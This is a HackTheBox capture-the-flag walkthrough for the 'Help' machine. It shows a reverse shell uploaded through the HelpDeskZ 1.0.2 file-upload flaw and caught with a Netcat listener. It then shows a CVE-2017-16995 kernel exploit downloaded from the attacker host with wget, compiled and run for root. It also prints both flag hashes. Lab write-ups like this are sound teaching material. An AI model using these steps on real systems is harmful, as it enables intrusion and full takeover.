Metadata
- Platform: HackTheBox
- CTF: Help
- OS: Linux
- Difficulty: Easy
Summary
An exposed website on a hidden subdirectory runs on an outdated installation. Even though the website enforces a few security measures, we can abuse the fact that these are not well implemented to upload a reverse shell over which we gain an initial foothold on the target. Since this machine runs on a kernel, which is just as outdated as the web application, we can use an old public kernel level exploit to spawn a shell as root
.
Solution
Reconnaissance
As always, we start by enumerating the target with Nmap.
nmap -sC -sV 10.10.10.121 -p- -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-06 10:24 CEST
Nmap scan report for 10.10.10.121
Host is up (0.054s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://help.htb/
|_http-server-header: Apache/2.4.18 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
The web server on port 3000 is quite unusual. Once we visit it in our browser, we only get a JSON response.
{"message":"Hi Shiv, To get access please find the credentials with given query"}
From this message alone, we can assume that this web service has some kind of endpoint, which allows us to query a database. With Gobuster and an according wordlist, we can enumerate for such an API endpoint.
gobuster dir -u http://10.10.10.121:3000 -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.121:3000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/graphql (Status: 400) [Size: 18]
Progress: 269 / 270 (99.63%)
===============================================================
Finished
===============================================================
There is a GraphQL
directory. After a little research about Node.js and these endpoints, we should be ably to issue queries over the query
parameter, which will let us access the underlying database. For the query http://help.htb:3000/graphql?query=test
, we get the following response:
{"errors":[{"message":"Syntax Error GraphQL request (1:1) Unexpected Name \"test\"\n\n1: test\n ^\n","locations":[{"line":1,"column":1}]}]}
Even though the query was nonsense, we get a response that something is in fact working on the backend. This might come in handy later on, but for now, let’s take a look at the other web service on port 80. Due to the redirect on this port in the Nmap scan, let’s add help.htb
to our /etc/hosts
file, so we can actually visit this website properly. Once we connect to it, we are greeted with the Apache2 default installation page for Ubuntu.
Since this website was configured to use a domain, it’s fair to assume that there likely exists a real website somewhere on this service. Let’s search for it with Gobuster.
gobuster dir -u http://help.htb/ -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://help.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 292]
/.htpasswd (Status: 403) [Size: 292]
/javascript (Status: 301) [Size: 309] [--> http://help.htb/javascript/]
/server-status (Status: 403) [Size: 296]
/support (Status: 301) [Size: 306] [--> http://help.htb/support/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
We get few hits, however /support
looks non-standard and worth a look. This endpoint actually reveals a web application called HelpDeskZ
.
User Flag
Alternative Exploitation Route
While the discovered query endpoint on port 3000 can also be abused for initial access on the target, this writeup will focus on the exploitation path over the File Upload Vulnerability.
This application is open-source, meaning we can take a look at the public GitHub repository. Since there is a README.md
file in the repository, we can check if this also exists on the target, since this might reveal more information about the specific installation.
<cut>
Version: 1.0.2 from 1st June 2015<br>
<cut>
The output of this file is quite different to the one from the repository. This is expected, as the file discloses this application’s version to be 1.0.2
, which is very outdated. Research about this version quickly reveals that this installation is susceptible to an arbitrary file upload vulnerability, for which there exists a public exploit script. Essentially, this exploit abuses the fact that while the application hashes the file name of upload, it does not randomize it but only appends the upload time, making the file name easy to brute force.
Since this application runs on PHP, we could exploit this by uploading a PHP reverse shell, which will grant us a foothold on the system. For this, we should first download an appropriate shell from Revshells. Once this is done, we can try to upload it over Submit a ticket
on the website. After creating a new ticket and filling out the necessary values, we can add our reverse shell as an appendix to the ticket. Weirdly enough, we get an error.
It seems there seems to be a filter in place. I am a little surprised by this, as this is not mentioned by the exploit script. Either, this installation was customized and secured, or there is something about this filter, which still allows the exploit to work. While I could not circumvent the filter by trying out different file extensions, we realized that we can just take look at this filter, in case this ships with the application. Since we are dealing with version 1.0.2
, we need to find a repository, which contains the respective code, unlike the official one. In this repository’s files at controllers/submit_ticket_controller.php
, we can inspect this ticket creation process.
if(!isset($error_msg)){
$uploaddir = UPLOAD_DIR.'tickets/';
if($_FILES['attachment']['error'] == 0){
$ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
$fileuploaded[] = array('name' => $_FILES['attachment']['name'], 'enc' => $filename, 'size' => formatBytes($_FILES['attachment']['size']), 'filetype' => $_FILES['attachment']['type']);
$uploadedfile = $uploaddir.$filename;
if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {
$show_step2 = true;
$error_msg = $LANG['ERROR_UPLOADING_A_FILE'];
}else{
$fileverification = verifyAttachment($_FILES['attachment']);
switch($fileverification['msg_code']){
case '1':
$show_step2 = true;
$error_msg = $LANG['INVALID_FILE_EXTENSION'];
break;
case '2':
$show_step2 = true;
$error_msg = $LANG['FILE_NOT_ALLOWED'];
break;
case '3':
$show_step2 = true;
$error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']);
break;
}
}
}
}
This code snippet tells us everything about the ticket, including the fact that the File not allowed
error will only be thrown after the file was already saved on the target and not deleted afterwards. So even though we get the error, our shell will still be present on the target and therefore detectable by the exploit script. However, if we now run the exploit by following its instructions after uploading our shell, the exploit still does not find our shell.
python2.7 exploit.py http://help.htb/support/ shell.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
Sorry, I did not find anything
The reason for this error in the exploit is the following line.
url = helpdeskzBaseUrl+md5hash+'.php'
It seems like the exploit expects the ticket appendix in the root directory of the application. However, from the PHP code sniped above, we already know that the appendix will be uploaded in a subdirectory /tickets
within the upload
directory we found in our scan.
$uploaddir = UPLOAD_DIR.'tickets/';
Therefore, we need to specify http://help.htb/support/uploads/tickets/
as the according directory, in which the exploit should find our shell.
python2.7 exploit.py http://help.htb/support/uploads/tickets/ shell.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
found!
http://help.htb/support/uploads/tickets/f70f937035e13f9ee38df20448ecd6dc.php
There it is! After setting up a Netcat listener and visiting the file over the given URL, we get a reverse shell as help
and can claim the user flag.
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.121] 52196
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
02:01:27 up 41 min, 0 users, load average: 0.08, 0.07, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
bash: cannot set terminal process group (734): Inappropriate ioctl for device
bash: no job control in this shell
help@help:/$
90a667f536441cc3ad05fc6c4187bba8
Root Flag
The compromised user does not have any special privileges, nor access to sensitive files and credentials we might be able to leverage for privilege escalation. However, just like the web application we found, which was running on a version from 1016 or even older, the kernel of this machine is also heavily outdated.
uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
With such an old kernel, we can assume that there exist a handful of privilege escalation exploit. One of these exploits abuses CVE-2017-16995, and can be leveraged by executing a small C coded binary. Let’s download the according code to our attacking machine, and host it over a python HTTP server, over which we can transfer it to the target machine. After compiling the binary, adding the relevant permissions and executing it, we get a shell as root
and can claim the root flag.
wget http://10.10.16.5/exploit.c
<cut>
gcc exploit.c -o exploit
chmod +x exploit
./exploit
id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare),1000(help)
6daa1aa05d2e4900861a4d40158455ff